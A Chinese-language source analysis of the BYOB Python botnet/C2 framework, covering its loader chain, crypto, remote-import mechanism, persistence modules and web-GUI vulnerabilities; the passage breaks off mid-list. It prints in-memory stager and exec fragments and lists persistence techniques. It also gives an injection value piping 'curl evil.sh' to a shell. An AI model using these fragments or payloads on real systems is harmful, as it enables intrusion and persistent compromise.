工具%20|%20BYOB%20C2%20框架源码架构分析
原创
GLM-5.2
GLM-5.2
赛博生存指南
2026年7月15日%2008:58
浙江
在小说阅读器读本章
去阅读
本文为源码层的完整架构梳理,主体阅读对象为安全研究者、蓝队/EDR%20工程师、以及对%20Python%20后渗透框架设计感兴趣的开发者。BYOB(Build%20Your%20Own%20Botnet)是%20malwaredllc%20维护的开源后渗透框架,定位是\"教学/研究用%20C2\",与%20malefic、Sliver%20同属一类,但用纯%20Python%20实现,主打\"文件式远程导入\"与\"零依赖生成器\"两个卖点。
分析基于%20commit
b494690%20remove%20broken%20build%20badge,对应版本v2.0(v2.0-30-gb494690),最近一次提交%202024-07。本文侧重架构与工程缺陷,不构成使用指引。
仓库地址:https://github.com/malwaredllc/byob
目录
- 整体概览
- 分层加载链%20dropper%20/%20stager%20/%20payload
- 通信协议与加密
- 远程导入机制%20core/loader.py
- C2%20服务器与数据层
- 后渗透模块体系
- Web%20GUI%20层
- 多平台交叉编译
- 安全与抗分析子系统的真相
- 设计亮点(可借鉴)
- 安全与工程缺陷(缺点)
- 解读结论
1.%20整体概览
1.1%20两套并行实现
仓库里有两个互相独立的%20BYOB,而不是一个核心%20+%20一个前端:
byob/——%20原始控制台应用,约%207100%20行%20Python。web-gui/buildyourownbotnet/——%20Flask%20Web%20GUI,约%2010377%20行%20Python(含一个%202330%20行的dummy_payload_for_testing.py)。
两者的 core/(payloads%20/%20security%20/%20loader%20/%20stagers%20/%20generators%20/%20util%20/%20handler)与 modules/ 几乎逐文件复制粘贴,量化如下(web-gui%20vs%20控制台,按字节):
| 文件 | web-gui | 控制台 | 已分叉 |
|---|---|---|---|
payloads.py |
43.8%20KB | 42.1%20KB | 是 |
security.py |
56.4%20KB | 55.7%20KB | 是 |
generators.py |
11.0%20KB | 10.0%20KB | 是(关键) |
loader.py |
9.4%20KB | 9.4%20KB | 否 |
util.py |
17.2%20KB | 17.2%20KB | 否 |
合计约%20140%20KB%20重复核心代码%20+%2011%20个重复模块文件。差异是有负载且已偏离的:
- 导入风格不同:web-gui%20用
from%20buildyourownbotnet.core%20import%20util,控制台用import%20util。 freeze()签名不同:web-gui%20多了owner%20/%20operating_system%20/%20architecture与整套%20Docker%20分派;控制台只有debug。- PyInstaller
.spec模板不同:web-gui%20写block_cipher%20=%20None、debug=True、console=True;控制台写block_cipher%20=%20pyi_crypto.PyiBlockCipher(key=${KEY})、debug=False、console=False。两边产出的二进制材质不同,安全相关修复不会跨树传播。
这是整个仓库最大的维护债务:一处修了加密/帧化%20bug,另一处照旧。
1.2%20四端口架构
server.py 的 main()(server.py:130-141)在%20C2%20主端口之外再起三个辅助服务,全部明文、无认证、绑 0.0.0.0:
| 端口 | 服务 | 用途 |
|---|---|---|
1337(C2) |
原始%20TCP%20socket(C2._socket,server.py:377) |
反向%20TCP%20shell |
1338(port+1) |
python%20-m%20http.server%20cwd=modules(server.py:134) |
托管%20BYOB%20模块 以及生成的%20payload/stager%20源码 |
1339(port+2) |
python%20-m%20http.server%20cwd=site-packages(server.py:131) |
托管任意%20pip%20包 |
1340(port+3) |
core/handler.py%20HTTP%20POST(server.py:137) |
接收回传文件 |
C2%20主端口是\"真正的\"服务端逻辑,另外三个本质是哑文件服务器%20+%20一个%20POST%20接收池。main() 还打开一个 temp 文件(server.py:126)把三个子进程的%20stdout/stderr%20全部重定向进去吞掉。
2.%20分层加载链%20dropper%20/%20stager%20/%20payload
byob/client.py 的 main()(client.py:122)分五段组装投递物:_modules → _imports → _hidden → _payload → _stager → _dropper。最终产出三层加载链:
dropper(约 6 行)
%20 │%20 exec(eval(marshal.loads(zlib.decompress(base64b64(...)))))
%20 │%20 payload%20段%20= urlopen(<stager_url>).read()
%20 ▼
stager(纯%20stdlib)
%20 │%20 urlopen(url).read()%20 →%20 可选 decrypt(XXTEA)%20 →%20 exec(payload, globals())
%20 ▼
payload(完整反弹%20shell)
%20 │%20 Payload(host,%20port).run()
%20 │%20 %20 _get_connection(反向%20TCP,失败每 30s 重试)
%20 │%20 %20 _get_key(Diffie-Hellman)
%20 │%20 %20 _get_info(主机指纹%20+%20首帧)
要点:
- stager%20最先跑。
stagers.py:run()(stagers.py:62-67)urlopen(url).read()拉取%20payload,可选decrypt(...)(实际是%20XXTEA,见%20§3),然后exec(payload,%20globals()),全程不落盘。 - payload%20静态加密用\"XOR-128\"(实为%20XXTEA)。
client.py:191生成key%20=%20base64.b64encode(os.urandom(16)),每次client.py运行都新生成;若--encrypt,_payload调security.encrypt_xor(payload,%20base64.b64decode(key))(client.py:329)。随后_stager把%20key 作为字符串字面量嵌进%20stager%20源码(client.py:371→generators.py:156)。即\"密钥随密文同箱配送\",拿到%20stager%20就拿到%20key——这是混淆,不是保密。 - 运行期%20C2%20信道用%20AES-256-CBC,密钥由%20DH%20协商,见%20§3。
- dropper%20压缩态用
zlib.compress(marshal.dumps(compile(src,'','exec')),%209)自解压一行流(generators.py:120),--freeze时shell=True调%20PyInstaller(generators.py:194)。反%20VM/反%20AV/沙箱检测住在运行期core/payloads.py里,不在生成器里。
3.%20通信协议与加密
3.1%20帧格式
双向都是%204%20字节大端无符号长度前缀%20+%20body:
+----------------+----------------------------------------------+
|%20length%20(4B%20BE)%20|%20body%20=%20base64(%20AES-256-CBC(json)%20)%20 %20 %20 %20 %20 %20|
|%20struct.pack%20 %20 |%20 %20IV%20随机/每帧,前置于密文%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20|
|%20('!L',%20len)%20 %20 |%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 |
+----------------+----------------------------------------------+
发送:struct.pack('!L',%20len(data))%20+%20data → connection.sendall(msg)(payloads.py:920-921、server.py:1024)。接收:先 recv(4) 读头,再 recv(struct.unpack('!L',%20hdr)[0]) 读体(payloads.py:954-959、server.py:1046)。序列化用%20JSON(线上无%20pickle——server.py:12 的 import%20pickle 是死代码)。
3.2%20Diffie-Hellman%20密钥协商
security.py:332-350:
g%20=%202
p%20=%200xFFFFFFFF...%20 %20 %20 #%201536-bit%20MODP%20Group%205(RFC%203526)
a%20=%20bytes_to_long(os.urandom(32))%20 #%20256-bit%20私钥
xA%20=%20pow(g,%20a,%20p)
connection.send(long_to_bytes(xA))%20 %20 %20 %20 %20 %20 %20 #%20发公值
xB%20=%20bytes_to_long(connection.recv(256))%20 %20 %20 %20 %20 #%20BUG:见%20§11
s%20 =%20pow(xB,%20a,%20p)
return%20sha256(long_to_bytes(s)).digest()%20 %20 %20 %20 %20 #%2032B%20AES%20密钥
服务端镜像在 server.py:954(Session.__init__ 调 security.diffiehellman(self.connection))。协商后所有任务流 encrypt_aes/decrypt_aes(security.py:352/367)。
3.3%20加密实现的三处硬伤
需要先纠正%20README/文档里的措辞:
- 没有%20OCB%20模式。
security.py里唯一的%20AES%20模式类是AESModeOfOperationCBC(security.py:236),全仓%20grep%20不到OCB。 - \"XOR-128\"%20名不副实。
encrypt_xor/decrypt_xor(security.py:388/428)不是异或流密码,而是一个 XXTEA/TEA%20族分组密码(delta%20=%200x9e3779b9、v0/v1Feistel%20轮、sum调度),上面再套一层手搓%20CBC%20链。 - AES%20是手写的纯%20Python%20实现(
security.py:51-277),比cryptography/pycryptodome慢%20100%20倍以上,且是安全敏感原语。
更严重的是工程层:CBC 不带%20MAC(padding%20oracle%20/%20可塑性面)、用 null-byte%20填充而非%20PKCS#7(pad,security.py:280-286,解密端 rstrip(chr(0)) 会静默破坏合法以 \\x00 结尾的载荷)。
4.%20远程导入机制%20core/loader.py
这是整个项目的招牌特性,也是最有复用价值的设计。机制如下。
4.1%20注册与作用域
add_remote_repo(loader.py:197-204)构造一个 Loader 并插入 sys.meta_path[0]。remote_repo 上下文管理器(loader.py:218-226)进入时注册、退出时摘除。Payload.load(payloads.py:445-448)这样用:
with remote_repo(self.remote['packages'],%20base_url_2):%20 #%20port+2
with remote_repo(self.remote['modules'],%20 base_url_1):%20 #%20port+1
exec('import%20{}'.format(module),%20target)
4.2%20发现:find\_module(loader.py:38-66)
实现的是遗留%20PEP%20302 finder%20协议(find_module/load_module,Python%203.4%20起被 importlib.abc 取代,imp 在%203.12%20已移除)。仅当:顶层包名在声明清单内 且imp.find_module 确认本地没有时,才返回 self。清单本身靠抓取%20SimpleHTTPServer%20目录索引填充:Payload._get_resources(payloads.py:176-216)urlopen 列表页,正则 ``,递归进子目录。
4.3%20加载:load\_module(loader.py:68-129)
module_url%20 =%20base_url%20+ '%s.py'%name.replace('.', '/')
package_url%20=%20base_url%20+ '%s/__init__.py'%name.replace('.', '/')
package_src%20=%20urlopen(package_url).read()%20 %20#%20明文%20HTTP,无认证
...
mod =%20imp.new_module(name)
mod.__loader__%20=%20self; mod.__file__%20=%20final_url
sys.modules[name]%20= mod
exec(final_src, mod.__dict__)%20 %20 %20 %20 %20 %20 %20 %20#%20←%20任意代码执行点
另有编译态路径 __fetch_compiled(loader.py:158-175):拉 <url>c(.pyc),剥掉%208%20或%2012%20字节头,marshal.loads 出%20code%20object,同样走 exec。
4.4%20导入数据的认证/加密?
没有。 纯 urlopen().read() 走%20HTTP,无签名、无%20MAC、无校验和。README.md:129 把这件事明确列为%20TODO #1:
Remote%20Import%20Encryption%20-%20encryption%20for%20data%20streams%20of%20packages/modules%20being%20remotely%20imported%20(to%20maintain%20confidentiality/authenticity/integrity%20and%20prevent%20any%20remote%20code%20execution%20vulnerabilities%20arising%20from%20deserialization)
README%20的自承是准确的,这也正是框架最大的未修补设计漏洞(见%20§11)。
5.%20C2%20服务器与数据层
5.1%20线程模型——比看起来朴素
C2不是每客户端一线程。实际是协作式、控制台驱动的单活动%20shell模型:
C2.serve_until_stopped(server.py:828)被@util.threaded装饰,因此以一个守护后台线程启动(util.py:581-598,装饰器内部t.start()并返回Thread)。这是服务器自启的唯一线程,阻塞在socket.accept(),每接受一个连接就同步构造一个Session(server.py:836)。Session继承threading.Thread(server.py:927),但从不.start()(全文件%20grep%200%20次调用)。它的run()在用户执行shell%20<id>时从主控制台循环直接同步调用(server.py:805)。- 控制台态/shell%20态的切换原语是两个
threading.Event:C2._active与session._active。进%20shell%20清前者置后者;bg反之(server.py:807-826)。Session.run()(server.py:1053)坐在self._active.wait()上,后台态时零%20CPU%20空转。
后果:控制台同一时刻只能主动驱动一个客户端。task_broadcast(server.py:682)完全同步——先给每个%20session%20发、再在一个字典推导里阻塞收每个回复,一个慢/死客户端拖垮整个广播。
5.2%20命令分派
控制台命令表 self.commands(server.py:181-338)把命令名映射到绑定方法(服务端本地命令)或占位字符串。主循环(server.py:890-923):已知命令有可调用方法则本地跑;是 cd 就 os.chdir 服务器自身;否则 subprocess.Popen(...,%20shell=True)(server.py:915)——这是控制台里的%20shell%20注入%20sink(需控制台访问权限)。
Session.run()(server.py:1053-1098)的分派更值得看:
- 客户端发
{\"task\":%20\"prompt\",%20\"result\":%20\"<提示文本>\"}。 - 服务端
raw_input读一行(server.py:1068)。 - 命中本地命令则本地执行、显示并
database.handle_task记录,不转发给客户端。 - 否则
handle_task给任务分配uid(server.py:1082),send_task把加密任务发给客户端。 - 客户端执行后回
{\"task\":...,%20\"result\":...},recv_task解密、显示、handle_task标记完成。
任务流:控制台%20→%20DB(issued)→%20AES%20加密%20socket%20→%20客户端%20→%20结果%20→%20DB(completed)。DB%20就是命令/响应的审计日志。
5.3%20数据库设计(byob/core/database.py)
两张表,__init__ 用 executescript 跑原始%20DDL(database.py:27-76):
tbl_sessions:每客户端一行(按uid去重)。列含id%20serial%20/%20uid%20/%20online%20/%20joined%20/%20last_online%20/%20sessions(重连计数)/%20public_ip%20/%20mac_address%20/%20local_ip%20/%20username%20/%20administrator%20/%20platform%20/%20device%20/%20architecture%20/%20longitude%20/%20latitude%20/%20owner。没有单独的tbl_clients——session%20表兼任客户端登记表。tbl_tasks:id%20serial%20/%20uid%20/%20session(实为客户端%20uid,命名误导)/%20task%20/%20result%20/%20issued%20/%20completed。既是待办队列也是历史结果日志。- 没有
tbl_files——回传文件走文件系统handler.py,不入库。
DAO%20风格:Database直接子类化 sqlite3.Connection(database.py:21),全程原始参数化%20SQL,sqlite3.Row 行工厂,手搓 execute_query/execute_file 包装(database.py:294/320),无%20ORM。
5.4%20文件回传处理器(byob/core/handler.py)
独立 BaseHTTPRequestHandler 进程(server.py:137)。do_POST(handler.py:28):
- 读
Content-Length字节(handler.py:34)——无大小上限,可耗尽内存/磁盘。 - JSON%20解码,取
{\"data\":%20base64,%20\"type\":%20ext}。 - 解码写
output/<random3>.<ftype>。
无认证。能连到端口的人都能传。文件名随机(3%20字符),客户端不能直接选;但扩展名 ftype 客户端可控且未校验(handler.py:49):fname%20=%20random...%20+%20'.'%20+%20ftype,若 ftype%20=%20\"../../evil\",os.path.join('output',%20'abc.../../evil') 会解析到 output/ 之外。os.path.basename 或白名单即可修。
其他%20handler%20bug:send_response(200) 被调两次(_set_headers 行%2024%20+%20行%2035);string.lowercase(handler.py:49)是 Python%202%20专属,尽管顶部有%20Py2/3%20兼容%20shim,这行在%20Py3%20直接崩——handler%20在%20Py3%20下基本是坏的。单线程 HTTPServer(handler.py:56),一个慢上传阻塞全部。
6.%20后渗透模块体系
6.1%20模块契约——其实是鸭子类型
没有基类、没有正式接口。契约只靠约定:byob/modules/ 下的 .py,暴露一组约定全局量即\"可远程导入\":
| 全局量 | 类型 | 用途 |
|---|---|---|
packages |
list[str] |
第三方依赖(服务器也要能托管) |
platforms |
list[str] |
兼容的 sys.platform |
usage%20/ description |
str |
服务端%20help |
run(...) |
函数 | 入口 |
log |
StringIO |
异步采集缓冲 |
results |
dict |
结果集 |
command |
bool |
标记为用户可调命令 |
结果回传有两条通道:
- 小文本:
run()返回字符串,经主循环包成任务%20dict,send_task()走加密反向%20TCP(payloads.py:900-938)。 - 大/二进制:模块写进模块级
StringIO/缓冲,Payloadwrapper%20base64%20后%20HTTP-POST%20到%20port+3(handler.py)。见%20screenshot(payloads.py:816-818)、keylogger(:792-794)、packetsniffer(:884-890)、outlook(:635)。
关键限定:加模块不是即插即用。每个模块都要在 Payload 类上有一个硬编码%20wrapper%20方法(payloads.py:826%20persistence、:753%20keylogger、:730%20portscanner、:803%20screenshot…),带 @config(platforms=[...],%20command=True,%20usage=...) 装饰。分派器 _get_command(payloads.py:118-121)只在 hasattr(self,%20cmd)%20and%20getattr(...,'command') 时认这条命令。所以 __init__.py:68-72\"把脚本丢进去客户端就能自动导入\"是误导的——自动导入成立,自动暴露为命令不成立。
6.2%20持久化模块——实际%207%20种机制
__init__.py:89-95 文档说%205%20种,代码已长到%207%20个 Method 实例(文档落后于代码):
| Method | 平台 | 机制 |
|---|---|---|
hidden_file |
win32/linux/darwin | attrib%20+h%20或点前缀副本 |
crontab_job |
linux/linux2 | 追加 0%20*%20*%20*%20*%20root%20<path> 到 /etc/crontab |
registry_key |
win32 | HKCU\\...\\Run%20经 _winreg |
startup_file |
win32 | Startup%20目录放 .url InternetShortcut |
launch_agent |
darwin | ~/Library/LaunchAgents/<name>.plist%20(RunAtLoad,180s) |
scheduled_task |
win32 | SCHTASKS%20/CREATE%20/SC%20hourly |
powershell_wmi |
win32 | WMI%20永久事件订阅(__InstanceModificationEvent → CommandLineEventConsumer 跑%20base64%20PowerShell) |
跨平台覆盖真实但不均:Linux%20仅%202%20种、macOS%20仅%202%20种、Windows%205%20种。powershell_wmi 是无文件持久化,对应%20MITRE%20ATT&CK%20T1546.003。Method 类按 sys.platform%20in%20self.platforms 网关,跨平台误调抛 OSError 而非崩溃——这块是全仓最可扩展的设计。
6.3%20端口扫描器为何%20739%20行
约%20600%20行是硬编码端口字典(portscanner.py:31-648):ports%20=%20{...} 把约%20200%20个端口号映射到 {protocol,%20service},本质是一份手剪的 /etc/services,纯数据。真正扫描逻辑只约%2090%20行(:651-739):
_ping(:651):subprocess.call(...,%20shell=True)调ping%20-n%201/ping%20-c%201探活。_threader(:667,@util.threaded):从Queue拉(callable,%20arg)直到get_nowait()抛错——线程池模式。_scan(:680):TCP%20connect%20扫描——SOCK_STREAM、settimeout(1.0)、connect()。无%20raw%20socket、无%20SYN、不需要%20root。连上后recv(1024)抓一次%20banner,过滤可打印%20ASCII%20截断%2080%20字符,再查端口字典标协议/服务。run(:713):校验%20IPv4、ping、每端口入一个任务、range(1,%20qsize())开%20worker、join、返回json.dumps(results[target])。
即:无%20raw%20socket、有线程(队列池)、有%20banner%20指纹(单次%20recv)、外加一个巨型内嵌服务库。规模是数据问题不是复杂度问题——这本该是资源文件或 socket.getservbyport()。
7.%20Web%20GUI%20层
7.1%20应用结构
工厂%20+%20Blueprint。create_app()(web-gui/buildyourownbotnet/__init__.py:20-58)是教科书式%20Flask%20工厂:选 ProdConfig/TestConfig,app%20context%20内初始化 db/bcrypt/login_manager,db.create_all(),注册六个蓝图(main / users / api.files / api.session / api.payload / errors)。
认证%20=%20Flask-Login%20+%20服务端%20session。 无%20JWT。@login_required 守护用户面与多数%20API%20路由。密码%20bcrypt%20哈希(models.py:10)。UserMixin session%20cookie%20是唯一凭证。
最大的架构罪过:C2%20在%20import%20时就被实例化。__init__.py:16-18:
from buildyourownbotnet import client,%20server
c2%20=%20server.C2(debug=_debug)
仅仅导入这个包就会构造一个 threading.Thread 子类、打开 0.0.0.0:1337 监听%20socket(server.py:68,120-125),并%20spawn%20两个 SimpleHTTPServer 子进程在%201338/1339。任何测试、任何%20REPL%20导入、任何%20gunicorn%20worker%20引导%20app%20都会起一个%20C2%20监听;多%20worker%20部署时每个%20worker%20各持一个 c2.sessions dict%20和各自的%20socket(SO_REUSEADDR 救不了跨%20worker%20端口冲突)。
Web%20用户如何生成%20payload:POST%20/api/payload/generate(api/payload/routes.py:12-65)读表单,构造 options,调 client.main('',%20'',%20'',%20'',%20'',%20'',%20**options)(payload/routes.py:53)——六个空位置参数,因为生成器是被硬塞进%20Web%20应用的。client._dropper 把%20dropper%20写到 output/<owner>/src/byob_<var>.py(client.py:431-458)。若 freeze,generators.freeze()``shell=True 调%20Docker(core/generators.py:275-280)。
Web%20用户如何与活动客户端交互:GET%20/shell?session_uid=X(main/routes.py:83-130)渲染 shell.html(jQuery%20终端)。每条命令 $.post 到 /api/session/cmd(api/session/routes.py:45-76),handler%20从内存 c2.sessions[current_user.username] 取活动 SessionThread,send_task 后同步recv_task(session/routes.py:68-69),结果作%20HTTP%20body%20返回。无%20async、无队列、无%20websocket。唯一的\"推送\"是 sessions.html 里%201%20秒一次的%20JSON%20轮询打 /api/session/poll。
7.2%20API%20设计
半%20RESTful、动词进路径:/api/<resource>/——/api/session/new、/api/session/cmd、/api/session/remove、/api/session/poll、/api/payload/generate、/api/file/add。创造性动作全%20POST,无 PATCH/DELETE。
7.3%20Web%20层的安全洞
- CSRF%20实际关闭。
TestConfig.WTF_CSRF_ENABLED%20=%20False(config.py:13);ProdConfig从不导入/初始化CSRFProtect。表单里{{%20form.hidden_tag()%20}}本会吐%20CSRF%20字段——但%20AJAX%20端点(/api/session/cmd、/api/session/remove、批量执行)不发%20token。/api/session/cmd把任意命令转发给%20bot,此处%20CSRF%20=%20对任何登录用户所控全部机器%20RCE,只要他访问一个恶意页面。 - 两条%20API%20路由完全无认证:
/api/session/new(api/session/routes.py:11-18)与/api/file/add(api/files/routes.py:14-61),互联网任意人可%20POST,owner取自%20body。 - 路径穿越任意文件写。
api/files/routes.py:52:os.path.join(os.getcwd(),%20'buildyourownbotnet/output',%20owner,%20'files',%20filename),owner/filename/session全来自未认证%20body,os.path.join不净化..。filename%20=%20\"../../app.py\"即写出树外。同样的洞在遗留core/handler.py:65。 - Docker%20容器名命令注入。
generators.freeze()(generators.py:275-280)跑docker%20run%20...%20{docker_container},容器名=%20operating_system%20+%20'-'%20+%20architecture,二者直接来自%20payload%20表单(api/payload/routes.py:19-20,49),无白名单。win;%20curl%20evil.sh%20|%20sh;%20echo即服务器%20shell%20注入。全程shell=True。 - 密钥。
ProdConfig.SECRET_KEY%20=%20os.environ.get('BYOB_APP_SECRET_KEY')%20or%20os.urandom(24)(config.py:4)——回退每次进程启动重新生成,重启即作废所有签名%20cookie,且多%20worker%20各异。TestConfig.SECRET_KEY%20=%20'helloworld'(config.py:10)。 - 开放重定向。
users/routes.py:76-77:next_page%20=%20request.args.get('next');%20return%20redirect(next_page)无校验。 - 下载路径穿越。
main/routes.py:155-173用%20URL%20段<user>/<filename>进send_from_directory,只@login_required,不校验\"这文件属于current_user\"——任何登录用户可猜路径读他人回传文件或生成的%20payload。
8.%20多平台交叉编译
两条互相独立的交叉编译路径,只有第一条接入%20Web%20GUI:
(a)%20Web-gui%20路径%20—— web-gui/docker-pyinstaller/。 由 generators.freeze()(core/generators.py:208-309)触发:cd 进 output/<owner>/src/,写%20PyInstaller .spec,拷 requirements_client.txt,跑:
docker run -v \"$(pwd):/src/\" <operating_system>-
镜像名形如 win-x64 / linux-amd64,由 Dockerfile-py3-win64(Ubuntu%2020.04%20+%20Wine%20+%20Wine%20下装%20Python%203.7.9%20MSI%20+%20PyInstaller%203.6%20+%20VC++%20redist%20+ winetricks%20win10)与 Dockerfile-py3-amd64(原生%20Linux%20+%20pyenv%20+%20PyInstaller)构建。entrypoint%20跑 pyinstaller%20--clean%20-y%20--dist%20./dist/{windows|linux}%20--workpath%20/tmp%20*.spec。10%20分钟超时循环盯%20stderr%20的%20\"EXE%20...%20complete\"(generators.py:282-298)。
(b)%20仅控制台路径%20—— byob/crosscomp/build-environment.sh。 完全不同且更老的机制:装 docker.io + qemu-user-static +%20binfmt-support,注册%20multiarch%20qemu,再对 arch.targets 每行构建%20per-arch%20镜像(:BYOB)并产出 compile_.sh 包装,在容器内跑 python%20client.py%20--freeze。支持%20ARM/ARM64/RasPi(经%20qemu%20模拟)。Web%20GUI%20完全不调用它——Web%20GUI%20的\"多平台\"面被限制在运营者预构建的 docker-pyinstaller 镜像(win32/win64/amd64/i386)加上他手头恰好有的 os-arch 组合;控制台丰富的%20ARM%20故事从%20Web%20应用不可达。
9.%20安全与抗分析子系统的真相
README%20宣传\"Evade%20Antivirus\"、\"Prevent%20Analysis\"、\"Avoid%20Detection\"。代码实际做的:
- 反%20VM(
stagers.py:environment(),stagers.py:34-37):查VBOX环境变量%20+%20一小撮硬编码进程名(vmwareuser、vboxservice、vmtoolsd…)经tasklist/ps。从未被调用——run()里这检查被注释掉(stagers.py:64-70)。框架出厂自带反%20VM%20关闭。即便启用:约%2012%20个静态名、无沙箱制品检查、无%20sleep/计时检查、无%20API-hook%20检测,改个二进制名或用清单外%20hypervisor%20即绕。 - 反%20AV =%20payload%20静态%20XXTEA%20加密%20+%20可选%20pyminifier%20混淆(
generators.obfuscate,generators.py:122-142)+%20可选%20PyInstaller%20freeze。仅静态签名规避,无运行期技术,无%20AMSI/ETW%20bypass,无%20unhook。 - 无反调试、无反反汇编、无内存扫描规避。\"无文件\"对%20post-stager%20阶段成立(一切
exec进内存),但初始%20stager%20仍落盘(除非框架自身不提供的文件式投递向量)。 escalate.py的\"UAC%20bypass\"是假的。:42调win32com.shell.shell.ShellExecuteEx(lpVerb='runas',%20...)——这是标准\"以管理员身份运行\"机制,会在用户面前弹正常%20UAC%20同意框。模块%20docstring%20与__init__.py:100-101称其\"UAC%20bypass\"是虚假宣传。更糟::12导入win32com.client,:42却引用win32com.shell.shell——win32com.shell从未导入,非提权运行时这行抛AttributeError。唯一\"工作\"的提权路径是:38-39用户已是管理员时的早返回。没有真正的%20bypass%20技术(无%20COM%20劫持自动提权、无%20fodhelper、无%20ICMLuaUtil)。
9.1%20加密层实际提供的威胁模型
加密层只挡得住纯被动、离路径的窃听者,仅此而已。对任何在路径上的人(企业代理、被%20comprom%20的%20ISP、C2%20基础设施运营者、或任何能到达%20port+1/+2/+3%20的人),框架提供:DH%20协商的平凡%20MITM、经导入信道的任意代码执行、经%20port+3%20的未认证文件注入、任务信道上的%20CBC%20可塑性。README%20诚实承认导入加密是%20TODO;其余皆源于\"无%20TLS、无认证、手搓加密\"。
10.%20设计亮点(可借鉴)
- 经
sys.meta_path的内存远程导入。Loaderfinder/loader%20对%20+remote_repo上下文管理器是真正优雅的设计——一种有作用域、无文件的、用服务器托管代码扩展运行中%20agent%20的方式。换成importlib.abc.MetaPathFinder/Loader加find_spec实现后,这模式在进攻工具之外也大有用武之地——它本身是正当的插件/流式代码技术。 - 分层投递。dropper(极小)→%20stager(纯%20stdlib、\"零依赖\")→%20完整%20payload。初始足迹小,重代码住服务端。通用%20C2%20好架构。
- 动态代码生成%20+%20压缩。
generators.compress产出marshal+zlib+base64自解压一行流(generators.py:120),string.Template驱动的%20spec/plist%20生成是整洁、可组合的变换。 - 纯%20stdlib%20stager。stager%20在裸%20Python%20安装上跑、无需
pip%20install——作为一阶段加载器很合理。 - 反向%20TCP%20+%20被动模式重连。仅出站(防火墙友好),30%20秒重试循环,被动→主动干净切换(
payloads.py:578-586、payloads.py:998-1004)。 - 任务模型即审计日志。每条命令及其结果都是一等%20DB%20行(
tbl_tasks带issued/completed时间戳,database.py:260-289)——免费拿到历史、回放、问责,更多%20C2%20应当如此。 @config装饰器作元数据载体(util.py:566-579,payloads.py:47-59镜像):把platforms/usage/command挂成函数属性,无需继承。声明每命令元数据的干净方式。threading.Event控制台/shell%20切换(server.py:172,950):在单主线程上多路复用\"管理控制台\"与\"一个活动反向%20shell\"而无需轮询——值得研究,哪怕周边代码混乱。- 持久化
Method类:实例化Method('name',%20platforms=[...]),调.add()/.remove()经globals()['_add_{}'.format(self.name)]()分派。加新技术%20=%20写两个函数%20+%20一行Method(...)。全仓最可扩展处。
11.%20安全与工程缺陷(缺点)
11.1%20安全(严重)
- 远程导入%20=%20大规模%20RCE%20向量(已自承)。任何能跟%20port+1/port+2%20说话的人——被%20comprom%20的运营者、明文%20HTTP%20上的%20MITM、或任何能到达这些端口的对端(绑
0.0.0.0)——都能在每个发load%20<module>的客户端上执行任意%20Python。服务器本身是服务磁盘内容的哑http.server,无白名单、无认证、无完整性校验。exec(final_src,%20mod.__dict__)(loader.py:126)就是执行%20sink。这是一对多%20comprom%20原语。 - 四个监听服务零认证。C2%20TCP%20端口(任何完成%20DH%20的都是\"客户端\")、模块/包%20HTTP%20服务器(任何人可拉全部模块)、POST%20handler(任何人可推)。知道端口的被动观察者即可注册为客户端。
- DH%20无签名→MITM。无签名、无证书、无%20PSK。在路径攻击者拆成两个独立会话即可解密一切,整层加密对在路径者作废。
- CBC%20无%20MAC(
security.py:352-386)。可塑性与%20padding%20oracle%20面;base64%20信封无实质帮助。应是%20AES-GCM%20或%20Encrypt-then-MAC。 - null-byte%20填充而非%20PKCS#7(
pad,security.py:280-286;rstrip(chr(0))于security.py:386),静默破坏合法以\\x00结尾的载荷。 - 手搓纯%20Python%20AES(
security.py:51-277),比cryptography/pycryptodome慢%20100%20倍+,安全敏感原语的脚枪。 - 1536-bit%20MODP(Group%205)素数,低于%20NIST/NSA%20当今%202048-bit%20下限。
- Web%20端%20CSRF%20关闭→
/api/session/cmd等于对登录用户全部受控机%20RCE(api/session/routes.py:45-76+config.py:13)。 /api/session/new与/api/file/add完全无认证。- 文件上传路径穿越(扩展名客户端可控,
handler.py:49、api/files/routes.py:52)。 - Docker%20容器名命令注入(
generators.py:275-280,shell=True)。 handle_session列名%20SQL%20注入(database.py:242):info是客户端发的%20JSON%20dict,值经:param绑定安全,但列名列表用客户端可控的%20dict%20keys%20字符串格式化。恶意客户端在注册%20JSON%20加一个%20key%20即注入任意%20SQL%20到列名位。icloud.py:29全局关%20TLS%20校验:import%20时ssl._create_default_https_context%20=%20ssl._create_unverified_context,为整个进程关掉验证(不止它自己的下载);还urlretrieve硬编码mas-cliv1.4.2%20release、xattr%20-d去%20quarantine、chmod%20755%20并运行——\"import%20即%20RCE\"模式。escalate.py\"UAC%20bypass\"是假的(见%20§9)。
11.2%20正确性(严重%20bug)
- SQLite%20跨线程共享无锁(
database.py:70``check_same_thread=False)。accept%20线程与控制台线程共用同一连接,无序列化;commit()竞态产生database%20is%20locked,被裸except吞(database.py:187,357),实际负载下丢任务记录。 recv不循环读取。DH%20的connection.recv(256)(security.py:348)、两端recv_task的recv(msg_len)(payloads.py:958、server.py:1046)。TCP%20是流,都不循环读到请求字节数;分片时会误解析长度头而死锁或损坏。Session是从未start()的线程——run()从主循环同步调用(server.py:805)。threading.Thread基类是误导性死重。- accept%20循环里同步做%20DH%20+%20收
client_info(server.py:836、Session.__init__``:954-961)。一个慢/恶意客户端阻塞所有新%20accept。握手应交给每连接%20worker。 process.kill严重坏(process.py:117-145)。return%20json.dumps(output)在:143位于for循环内,函数检完恰好一个进程行就返回;若首行不匹配请求%20PID,落进:138的else用taskkill%20/im%20<exe>杀错进程再返回。outlook.run用t.run()而非t.start()(outlook.py:93)。Thread.run()在调用者线程同步执行目标——_get_emails(含无界while%20True)永远阻塞调用者,线程从未真正%20spawn。util.png在 Py3 损坏(util.py:295-351):对bytes做str(magic)得到 repr 串\"b'\\\\x89PNG...'\",写进StringIO,再:349-350对已是str但含畸形 repr 的数据encode('utf-8')——PNG 输出损坏。screenshot.run依赖此路径。handler.pyPy2 专属(string.lowercase,handler.py:49),Py3 崩。- 持久化多处
